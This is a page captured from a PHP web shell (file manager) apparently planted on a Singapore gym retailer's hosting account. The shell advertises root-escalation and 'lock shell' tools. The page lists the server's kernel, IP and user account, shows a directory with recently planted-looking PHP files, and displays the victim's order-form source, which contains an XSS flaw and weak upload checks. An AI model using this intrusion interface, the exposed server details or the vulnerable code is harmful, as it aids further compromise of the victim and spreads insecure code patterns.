Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-10-28 12:39
airbrush.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
appointment
[ DIR ]
drwxr-xr-x
2025-10-30 20:27
atelier
[ DIR ]
drwxr-x---
2025-10-29 23:03
atelier-fitness.com
[ DIR ]
drwxr-x---
2025-10-30 03:31
backup
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
bhg
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
cgi2012
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
delivery_summary
[ DIR ]
drwxr-x---
2025-10-29 23:03
eachadeal
[ DIR ]
drwxr-x---
2025-10-29 23:03
feeds
[ DIR ]
drwxrwxr-x
2025-10-29 23:03
gymconcept.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.com.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.my
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym.sg
[ DIR ]
drwxr-x---
2025-10-30 03:31
homegym2
[ DIR ]
drwxr-x---
2025-10-29 23:03
homegym_newsite
[ DIR ]
drwxr-x---
2025-10-29 23:03
m2
[ DIR ]
drwxr-x---
2025-10-29 23:03
maintenance
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
marketplace
[ DIR ]
drwxr-x---
2025-10-29 23:03
showroom
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
sqldumper
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
staging
[ DIR ]
drwxr-x---
2025-10-29 23:03
symlink
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
tg_cgi
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
tg_config
[ DIR ]
drwxr-xr-x
2025-10-29 23:03
vigor-gym.com
[ DIR ]
drwxr-x---
2025-10-30 03:50
.ftpquota
20
B
-rw-------
2025-10-16 18:20
.htaccess
26
B
-rw-r--r--
2025-10-28 13:22
.user.ini
588
B
-rw-r--r--
2023-08-13 11:23
MapCreator.html
8.99
KB
-rw-r--r--
2024-03-26 07:10
MapCreatorOld.html
12.79
KB
-rw-r--r--
2021-08-27 03:55
adminer.php
3.27
KB
-rw-r--r--
2025-10-28 13:22
bhg-order.phtml
9.51
KB
-rw-r--r--
2020-11-16 03:08
detrack.php
1.18
KB
-rwxr-xr-x
2018-08-02 14:27
detrack_xml.php
1.21
KB
-rwxr-xr-x
2017-10-24 07:38
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:40
error_log
4.21
MB
-rw-r--r--
2024-05-31 08:36
getMapping.html
13
KB
-rw-r--r--
2021-08-16 02:15
info.php
20
B
-rw-r--r--
2016-01-04 05:16
order-form.phtml
4.82
KB
-rw-r--r--
2020-03-28 07:14
php.ini
638
B
-rw-r--r--
2023-08-13 11:23
phpinfo.php
171
B
-rw-r--r--
2020-09-01 08:57
test.php
110
B
-rw-r--r--
2020-11-13 08:16
testmap.html
7.33
KB
-rw-r--r--
2024-03-26 07:25
wp-ver.php
102.26
KB
-rw-r--r--
2025-10-28 12:35
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
Save
Rename
<head> <title>HOMEGYM.SG</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> </head> <form id="test-form" class="form-style-9" method="post" enctype="multipart/form-data"> <?php if (!empty($_POST["name"]) && !empty($_POST["phone"]) && !empty($_POST["address"]) && !empty($_POST["item"])) { if ($_POST["stairs"] < 0) $delivery = "Self pickup"; else $delivery = "Carry ".$_POST["stairs"]." levels"; $name_of_uploaded_file =basename($_FILES['uploaded_file']['name']); $formData = $_POST; getFile( $name_of_uploaded_file, $formData ); //$error = "Submit Successfully! Auto reload in 10s"; $page = $_SERVER['PHP_SELF']; $sec = "10"; ?> <?php } elseif (!empty($_POST["name"]) || !empty($_POST["phone"]) || !empty($_POST["address"]) || !empty($_POST["email"]) || !empty($_POST["postal"]) || !empty($_POST["items"]) || !empty($_POST["price"])) $error = "Please fill in all required fields"; $name = $_POST["name"]; $phone = $_POST["phone"]; $address = $_POST["address"]; $email = $_POST["email"]; $postal = $_POST["postal"]; $items = $_POST["items"]; $items = $_POST["price"]; ?> <?php function getFile( $filename , $formData ) { $allowedExts = array("jpg", "png", "jpeg", "JPG", "JPEG"); $temp = explode(".", $_FILES["uploaded_file"]["name"]); $extension = end($temp); $mimes = array('application/vnd.ms-excel','text/plain','text/csv','text/tsv'); if (($_FILES["uploaded_file"]["size"] < 10000000) && in_array($extension, $allowedExts)) { if ($_FILES["uploaded_file"]["error"] > 0) { echo "Return Code: " . $_FILES["uploaded_file"]["error"] . "<br>"; } else { sendMailAsAttachment($_FILES["uploaded_file"]["tmp_name"],$_FILES["uploaded_file"]["name"],$formData); } } else { echo "<p class='error'>Invalid file</p>"; } } function prepareEmail( $formData ) { // email fields: to, from, subject, and so on $to = "homegym.sg@gmail.com"; $from = "homegym.sg@gmail.com"; $subject ="Receipt"; $message = "Uploaded File\n"; $message .= "Name: ". $formData['name']."\n"; $message .= "Phone: ". $formData['phone']."\n"; $message .= "Address: ". $formData['address']."\n"; $message .= "Items: ". $formData['item']."\n"; $headers = "From: $from"; // boundary $semi_rand = md5(time()); $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x"; // headers for attachment $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\""; // multipart boundary $message .= "This is a multi-part message in MIME format.\n\n" . "--{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n"; $message .= "--{$mime_boundary}\n"; $emailData = array ( 'to' => $to, 'from' => $from, 'subject' => $subject, 'headers' => $headers, 'message' => $message ); return $emailData; } function sendMailAsAttachment( $filename, $fileorgname, $formData ) { $emailData = prepareEmail( $formData ); $attachContent = prepareAttachment( $filename,$fileorgname ); $message = $emailData['message'].$attachContent; $ok = @mail($emailData['to'], $emailData['subject'], $message, $emailData['headers']); if ($ok) { echo "<p class='error'>Dear Customer, <br />Thank you for your purchase. <br />We will contact you within 2 working days to confirm the delivery arrangement. Kindly retain your receipt. <br />For queries, please call 8822 2886 (Mon- Fri/9am-5pm).</p>"; } else { echo "<p class='error'>An error has occured, please try again or contact the sales rep.</p>"; } } function prepareAttachment( $filename ,$fileorgname) { $attachContent = ''; $file = fopen($filename,"rb"); $data = fread($file,filesize($filename)); fclose($file); $cvData = chunk_split(base64_encode($data)); $attachContent .= "Content-Type: {\"application/octet-stream\"};\n" . " name=\"$fileorgname\"\n" . "Content-Disposition: attachment;\n" . " filename=\"$fileorgname\"\n" . "Content-Transfer-Encoding: base64\n\n" . $cvData . "\n\n"; $attachContent .= "--{$mime_boundary}\n"; return $attachContent; } ?> <ul> <li> <input type="text" name="name" class="field-style field-full align-none" placeholder="Name*" value="<?php echo $name ?>" /> </li> <li> <input type="number" name="phone" class="field-style field-full align-none" placeholder="Phone*" value="<?php echo $phone ?>" /> </li> <li> <input type="text" name="address" class="field-style field-full align-none" placeholder="Address*" value="<?php echo $address ?>" /> </li> <li> <select name="stairs" class="field-style field-full align-none"> <option value="0" <?php if ($_POST["stairs"]=="0") echo "selected" ?>>No stairs carrying required</option> <option value="1" <?php if ($_POST["stairs"]=="1") echo "selected" ?>>Carry 1 levels - - - $15</option> <option value="2" <?php if ($_POST["stairs"]=="2") echo "selected" ?>>Carry 2 levels - - - $25</option> <option value="3" <?php if ($_POST["stairs"]=="3") echo "selected" ?>>Carry 3 levels - - - $35</option> </select> </li> <li> <div class="field-style field-full align-none"> <b>ITEMS *</b><br /><br /> <input type="checkbox" id="check1" name="items" value="OVICX Treadmill"> <label for="check1"> OVICX Treadmill</label><br> <input type="checkbox" id="check2" name="items" value="OVICX Bike"> <label for="check2"> OVICX Bike</label><br> <input type="checkbox" id="check3" name="items" value="OVICX Mat"> <label for="check3"> OVICX Mat</label><br> <input type="checkbox" id="check4" name="items" value="PROGUARD Rubber Mat"> <label for="check4"> PROGUARD Rubber Mat</label><br> </div> </li> <li> <label for='uploaded_file'>Upload your Receipt:</label> <input type="file" name="uploaded_file" id="uploaded_file"></li> <li> <input type="submit" value="Submit" id="submit-form"/> </li> </ul> <?php echo '<p class="error">'.$error.'</p>'; ?> <input type="hidden" name="date" value="" id="date"> <input type="hidden" name="item" value="" id="item"> </form> <script> var $form = $('form#test-form'), url = 'https://script.google.com/macros/s/AKfycbwT0mwqsiFAAUPOqFYjACsezy3MFBKmuSru8WcC9N-Vm3_K6xMC/exec' $(document).ready(function() { $('#submit-form').on('click', function(e) { //e.preventDefault(); $('#date').val(unixTime(Date.now())); $("input:checkbox[name=items]:checked").each(function(){ $('#item').val($('#item').val()+"\n"+$(this).val()); }); var jqxhr = $.ajax({ url: url, method: "GET", dataType: "json", data: $form.serialize() }).done(function() { //alert( "Dear Customer, \nThank you for your purchase. \nWe will contact you within 2 working days to confirm the delivery arrangement. Kindly retain your receipt. \nFor queries, please call 8822 2886 (Mon- Fri/9am-5pm)." ); location.reload(); }).fail(function() { alert( "Something went wrong. Please try again or contact the sales rep." ); }); $(this).submit(); }) }); function unixTime(unixtime) { var u = new Date(unixtime); return u.getUTCFullYear() + '-' + ('0' + u.getUTCMonth()).slice(-2) + '-' + ('0' + u.getUTCDate()).slice(-2) + ' ' + ('0' + u.getUTCHours()).slice(-2) + ':' + ('0' + u.getUTCMinutes()).slice(-2) + ':' + ('0' + u.getUTCSeconds()).slice(-2) + '.' + (u.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) }; </script> <style type="text/css"> .form-style-9{ max-width: 700px; background: #FAFAFA; padding: 30px; margin: 50px auto; box-shadow: 1px 1px 25px rgba(0, 0, 0, 0.35); border-radius: 10px; border: 6px solid rgb(249, 116, 19); } .form-style-9 ul{ padding:0; margin:0; list-style:none; } .form-style-9 ul li{ display: block; margin-bottom: 10px; min-height: 35px; } .form-style-9 ul li .field-style{ box-sizing: border-box; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; padding: 8px; outline: none; border: 1px solid #0ca9ff; -webkit-transition: all 0.30s ease-in-out; -moz-transition: all 0.30s ease-in-out; -ms-transition: all 0.30s ease-in-out; -o-transition: all 0.30s ease-in-out; font-size: large; }.form-style-9 ul li .field-style:focus{ box-shadow: 0 0 5px #B0CFE0; border:1px solid #0ca9ff; } .form-style-9 ul li .field-split{ width: 49%; } .form-style-9 ul li .field-full{ width: 100%; } .form-style-9 ul li input.align-left{ float:left; } .form-style-9 ul li input.align-right{ float:right; } .form-style-9 ul li textarea{ width: 100%; height: 100px; } .form-style-9 ul li input[type="button"], .form-style-9 ul li input[type="submit"] { -moz-box-shadow: inset 0px 1px 0px 0px #45D6D6; -webkit-box-shadow: inset 0px 1px 0px 0px #45D6D6; box-shadow: inset 0px 1px 0px 0px #45D6D6; background-color: #2CBBBB; border: 1px solid #27A0A0; display: inline-block; cursor: pointer; color: #FFFFFF; font-family: 'Open Sans Condensed', sans-serif; padding: 8px 18px; text-decoration: none; text-transform: uppercase; } .form-style-9 ul li input[type="button"]:hover, .form-style-9 ul li input[type="submit"]:hover { background:linear-gradient(to bottom, #34CACA 5%, #30C9C9 100%); background-color:#34CACA; } .error { FONT-SIZE: larger; color: red; font-weight: 800; } </style>